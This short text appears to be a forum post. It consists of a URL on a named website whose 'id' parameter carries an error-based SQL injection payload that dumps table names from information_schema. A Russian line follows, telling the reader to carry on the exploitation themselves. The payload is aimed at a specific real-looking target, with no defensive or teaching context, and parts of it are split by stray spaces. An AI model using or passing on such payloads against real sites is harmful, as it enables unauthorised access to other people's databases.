http://www.markus-schmitz.info/CoMaSys/index.php?SID=owbmptuuq&action=cms&id=5+and+%28select+1+from+%28select+count%280%29,conc at%28%28select+table_name+from+information_schema. tables+limit+0,1%29,floor%28rand%280%29*2%29%29+fr om+information_schema.tables+group+by+2%29a%29--

дальше сам крути...